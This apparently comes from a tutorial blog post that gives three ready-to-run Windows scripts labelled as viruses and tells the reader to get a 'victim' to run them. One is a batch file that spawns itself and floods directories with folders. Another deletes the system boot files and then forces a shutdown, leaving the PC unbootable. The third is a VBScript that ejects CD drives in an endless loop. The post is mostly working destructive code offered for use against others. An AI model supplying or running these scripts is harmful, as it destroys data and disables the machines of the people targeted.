Copy these codes in a text editor and then save it by the name virus and extension .bat, now let the victim run this code on his pc to see the Virus in action.

1.
@echo off
set /A xcount = 0
:virus
set /A xcount+=1
set /A var= %RANDOM%
md %var%
start Virus
echo You are a foolish > %var%.txt
cd %var%
if %xcount% == 100 goto :d
goto :virus
:d
exit

This virus is capable of creating innumerours folder and then folders within folders into the victims directory, where it was copied.

2.
@echo off attrib -r -s -h c:autoexec.bat
del c:autoexec.bat
attrib -r -s -h c:boot.ini
del c:boot.ini
attrib -r -s -h c:ntldr
del c:ntldr
attrib -r -s -h c:windowswin.ini
del c:windowswin.ini
@echo off
msg * Your pc is dead
shutdown -s -t 7 -c “You have been attacked”

This virus pops up message saying “Your pc is dead” and then shuts down the pc that can never wake up again.

3
Set oWMP = CreateObject(“WMPlayer.OCX.7”)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

Now save this file as Virus.vbs

This virus continuously pops out the victims cd drive.

Leave a Reply